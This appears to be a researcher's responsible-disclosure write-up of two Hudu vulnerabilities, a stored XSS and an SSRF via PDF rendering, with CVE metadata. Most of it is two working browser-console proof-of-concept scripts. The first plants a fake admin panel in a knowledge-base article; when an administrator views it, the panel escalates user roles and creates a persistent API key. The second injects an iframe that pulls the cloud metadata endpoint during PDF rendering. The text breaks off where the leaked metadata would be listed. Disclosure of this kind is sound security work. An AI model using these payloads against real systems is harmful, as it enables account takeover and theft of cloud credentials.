This is a dual report of two vulnerabilities submitted during responsible closure w/ the magicians over @ Hudu.
I'd like to give a thanks to the team over at Hudu for their help in patching the vulnerability!
| /** | |
| * Hudu CVE-2026-36541 PoC | |
| * While any particular payload could have been used, this just demonstrates with a visual UI that could be used to generate a | |
| * key if ran by an administrative user. | |
| */ | |
| (async function() { | |
| const token = document.querySelector('meta[name="csrf-token"]')?.content; | |
| const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace {kba_id} with the target article ID | |
| // 1. The HTML and Script Payload to be stored in the KBA | |
| const escalationPayload = ` | |
| <div id="escalation-panel" style="padding: 20px; border: 3px solid #e74c3c; background: #fff; color: #333; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.2); font-family: sans-serif; max-width: 400px; margin: 20px 0;"> | |
| <h2 style="margin: 0 0 15px 0; color: #e74c3c; font-size: 1.2em;">Administrative Control Panel</h2> | |
| <div style="margin-bottom: 15px;"> | |
| <label style="display:block; margin-bottom: 5px; font-weight: bold;">Target User ID:</label> | |
| <input type="text" id="target_user_id" placeholder="user slug here" style="width: 100%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;"> | |
| </div> | |
| <div style="margin-bottom: 15px;"> | |
| <label style="display:block; margin-bottom: 5px; font-weight: bold;">User Identity Details:</label> | |
| <input type="text" id="target_first_name" value="First" style="width: 48%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;"> | |
| <input type="text" id="target_last_name" value="Name" style="width: 49%; padding: 8px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;"> | |
| <input type="email" id="target_email" value="user@example.com" style="width: 100%; padding: 8px; margin-top: 5px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box;"> | |
| </div> | |
| <div style="display: flex; gap: 10px; margin-bottom: 20px;"> | |
| <button id="btn_admin" style="flex: 1; padding: 10px; background: #e74c3c; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Set Admin</button> | |
| <button id="btn_editor" style="flex: 1; padding: 10px; background: #34495e; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Set Editor</button> | |
| </div> | |
| <hr style="border: 0; border-top: 1px solid #eee; margin-bottom: 15px;"> | |
| <button id="btn_api" style="width: 100%; padding: 12px; background: #27ae60; color: white; border: none; border-radius: 4px; cursor: pointer; font-weight: bold;">Create Persistence API Key</button> | |
| <div id="status_msg" style="margin-top: 15px; font-size: 0.9em; padding: 10px; border-radius: 4px; display: none;"></div> | |
| </div> | |
| <script> | |
| (function() { | |
| const getCsrf = () => document.querySelector('meta[name="csrf-token"]')?.content || ''; | |
| const updatePermissions = async (role) => { | |
| const id = document.getElementById('target_user_id').value; | |
| const status = document.getElementById('status_msg'); | |
| if (!id) { | |
| alert('A Target User ID is required.'); | |
| return; | |
| } | |
| const formData = new FormData(); | |
| formData.append('_method', 'patch'); | |
| formData.append('authenticity_token', getCsrf()); | |
| formData.append('user[first_name]', document.getElementById('target_first_name').value); | |
| formData.append('user[last_name]', document.getElementById('target_last_name').value); | |
| formData.append('user[email]', document.getElementById('target_email').value); | |
| // Replicating the empty avatar fields | |
| formData.append('user[avatar]', ''); | |
| // Empty text field | |
| // Empty file field: name="user[avatar]", filename="", Content-Type: application/octet-stream | |
| formData.append('user[avatar]', new Blob([]), ''); | |
| formData.append('user[security_level]', role); | |
| // Replicating empty group and company IDs | |
| formData.append('user[group_id]', ''); | |
| formData.append('user[company_id]', ''); | |
| formData.append('user[security_level]', role); | |
| formData.append('commit', 'Update'); | |
| const res = await fetch('/admin/users/' + id, { method: 'POST', body: formData }); | |
| status.style.display = 'block'; | |
| status.style.background = res.ok ? '#d4edda' : '#f8d7da'; | |
| status.style.color = res.ok ? '#155724' : '#721c24'; | |
| status.innerText = res.ok ? 'Success: User ' + id + ' updated to ' + role : 'Error: Permission update failed.'; | |
| }; | |
| const generateKey = async () => { | |
| const btn = document.getElementById('btn_api'); | |
| const status = document.getElementById('status_msg'); | |
| const params = new URLSearchParams(); | |
| params.append('authenticity_token', getCsrf()); | |
| params.append('api_key[name]', 'CVE XSS KEY'); | |
| params.append('api_key[magic_dash_scope]', 'false'); | |
| params.append('api_key[company_id]', ''); | |
| params.append('api_key[allowed_ips]', ''); | |
| params.append('api_key[password_access]', '0'); | |
| params.append('api_key[destructive_actions]', '0'); | |
| params.append('api_key[export_permissions]', '0'); | |
| params.append('commit', 'Create'); | |
| const res = await fetch('/admin/api_keys', { | |
| method: 'POST', | |
| body: params, | |
| headers: { 'Content-Type': 'application/x-www-form-urlencoded' } | |
| }); | |
| if (res.ok) { | |
| btn.disabled = true; | |
| btn.style.background = '#95a5a6'; | |
| btn.style.cursor = 'default'; | |
| btn.innerText = 'API Key Created'; | |
| status.style.display = 'block'; | |
| status.style.background = '#d1ecf1'; | |
| status.style.color = '#0c5460'; | |
| status.innerText = 'Confirmation: "CVE XSS KEY" generated for persistent access.'; | |
| } | |
| }; | |
| document.getElementById('btn_admin').onclick = () => updatePermissions('admin'); | |
| document.getElementById('btn_editor').onclick = () => updatePermissions('editor'); | |
| document.getElementById('btn_api').onclick = generateKey; | |
| })(); | |
| <\/script> | |
| `; | |
| // 2. Perform the Injection | |
| const formData = new URLSearchParams(); | |
| formData.append('_method', 'patch'); | |
| formData.append('authenticity_token', token); | |
| formData.append('article[name]', 'Security Update Required: Administrative Policy'); | |
| formData.append('article[content]', escalationPayload); | |
| const response = await fetch(targetUrl, { | |
| method: 'POST', | |
| body: formData, | |
| headers: { 'Content-Type': 'application/x-www-form-urlencoded' } | |
| }); | |
| if (response.ok) { | |
| console.log("Escalation panel successfully injected into KBA."); | |
| } else { | |
| console.error("Injection failed. Status code:", response.status); | |
| } | |
| })(); |
Date: 2026-02-18
CVE ID: CVE-2026-36541
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Severity: 8.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)
Affected Versions: Versions prior to 2.41.1
A Stored Cross-Site Scripting (XSS) vulnerability exists within the Knowledge Base (KBA) article editor. The application fails to sanitize HTML input provided in the article[content] parameter during POST or PATCH requests. This allows an authorized user—or an attacker with a hijacked session—to persist malicious scripts within the database.
The vulnerability allows an authorized user to persist malicious scripts
within the database due to the application's failure to sanitize HTML
input in the article[content] parameter.
| /** | |
| * Hudu CVE-2026-36542 PoC | |
| * Extracts the CSRF token and performs a PATCH request, to be ran in the console of a browser. | |
| * to inject an SSRF payload into a KBA article. | |
| */ | |
| (async function() { | |
| const token = document.querySelector('meta[name="csrf-token"]')?.content; | |
| const targetUrl = window.location.origin + '/kba/{kba_id}'; // Replace with target ID | |
| const formData = new URLSearchParams(); | |
| formData.append('_method', 'patch'); | |
| formData.append('authenticity_token', token); | |
| formData.append('article[name]', 'Test Article - SSRF Vulnerability'); | |
| formData.append('article[content]', ` | |
| <iframe src="http://169.254.169.254/metadata/v1.json" width="100%" height="4300px"></iframe> | |
| <script> | |
| var info = "Platform: " + navigator.platform + "\\n" + | |
| "UserAgent: " + navigator.userAgent + "\\n" + | |
| "AppVersion: " + navigator.appVersion; | |
| document.write("<pre>" + info + "</pre>"); | |
| <\/script> | |
| `); | |
| formData.append('article[folder_id]', ''); | |
| const response = await fetch(targetUrl, { | |
| method: 'POST', | |
| body: formData, | |
| headers: { 'Content-Type': 'application/x-www-form-urlencoded' } | |
| }); | |
| if (response.ok) { | |
| console.log("SSRF Payload injected successfully."); | |
| } else { | |
| console.error("Injection failed with status:", response.status); | |
| } | |
| })(); |
Date: 2026-02-18
CVE ID: CVE-2026-36542
CWE: CWE-918 Server-Side Request Forgery (SSRF)
Severity: 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Affected Versions: Versions prior to 2.41.1
A vulnerability exists in the application's PDF generation service where un-sanitized HTML input is processed by the wkhtmltopdf rendering engine. This allows an attacker to execute arbitrary JavaScript within the server's context and perform Server-Side Request Forgery (SSRF). By targeting the internal DigitalOcean Metadata Service, it was possible to retrieve sensitive system configurations, internal network maps, and administrative credentials.
Endpoint: {client}.huducloud.com/kba/{kba_id}/renders
The successful retrieval of v1.json from the internal DigitalOcean Metadata Service resulted in the disclosure of the following sensitive information: